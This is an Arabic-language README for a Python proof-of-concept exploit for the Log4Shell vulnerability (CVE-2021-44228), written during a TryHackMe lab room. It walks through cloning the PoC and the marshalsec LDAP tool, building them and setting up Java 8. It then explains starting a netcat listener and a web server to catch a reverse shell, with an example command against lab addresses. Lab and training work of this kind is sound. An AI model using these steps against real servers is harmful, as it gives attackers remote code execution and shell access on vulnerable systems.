
نموذج إثبات مفهوم بلغة بايثون لثغرة CVE-2021-44228 (Log4Shell) يعمل على أتمتة الاستغلال عبر حمولة Java مصممة خصيصًا، مع خيارات argparse لطلبات GET قابلة للتخصيص وتسليم قشرة عكسية.
تم إنشاء هذا السكربت بلغة بايثون أثناء عملي على غرفة TryHackMe الخاصة بـ Log4j. وبينما تم إنشاؤه بمتغيرات افتراضية لهذه الغرفة، استخدمت argparse لجعل السكربت مرنًا لطلب GET. يمكن تغيير جميع المتغيرات الضرورية بخيارات مختلفة، انظر -h لمزيد من المعلومات.
يتم استضافة سكربتي فقط هنا، ويتطلب هذا تنزيلَين آخرين لكي يعمل بشكل صحيح وسأقدم روابطهما، لكن إعداد المجلدات بالطريقة التي قمت بها سيسمح للسكربت بالعمل دون عناء كبير. أولاً أنشئ مجلدًا باسم log4j (أو أي اسم تريده) ثم نفّذ git clone لهذا المستودع ثم انقل poc.py إلى /log4j/.
git clone https://github.com/ab0x90/CVE-2021-44228_PoC.git
بعد ذلك، استنسخ marshalsec في نفس المجلد الذي أنشأته للتو. ثم قم ببنائه باستخدام Maven.
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
أخيرًا، ستحتاج إلى تنزيل إصدار ما من Java 8. بالنسبة لهذا السكربت، القيمة الافتراضية للخيار -j هي 'jdk1.8.0_20'.
يجب أن يبدو المجلد الجديد هكذا عند استخراج كل شيء.
kali@kali-[~/tools/Exploits/log4j]$ls -al
total 338448
drwxr-xr-x 5 kali kali 4096 Dec 14 15:22 .
drwx------ 3 kali kali 4096 Dec 14 14:34 ..
drwxr-xr-x 8 kali kali 4096 Jul 30 2014 jdk1.8.0_20
drwxr-xr-x 5 kali kali 4096 Dec 14 14:40 marshalsec
-rw-r--r-- 1 kali kali 2781 Dec 14 16:02 poc.py
بعد اكتمال هذا الإعداد. لاحظ أنه إذا كنت ترغب أو تحتاج إلى استخدام إصدار مختلف من Java، يمكنك ذلك باستخدام -j NAME_OF_JAVA_FOLDER.
قائمة المساعدة

يتضمن السكربت الحمولة (payload) المقدمة في غرفة THM، غيّر عنوان IP/المنفذ إلى ما تريد استخدامه.

ابدأ مستمع netcat لالتقاط الصدفة على المنفذ المحدد في java_payload.
ابدأ خادم ويب ببايثون على المنفذ 8000
مثال على الأمر:
python3 poc.py -l 10.6.20.239 -i 10.10.64.53 -p 8983
مثال على المخرجات والصدفة العكسية:
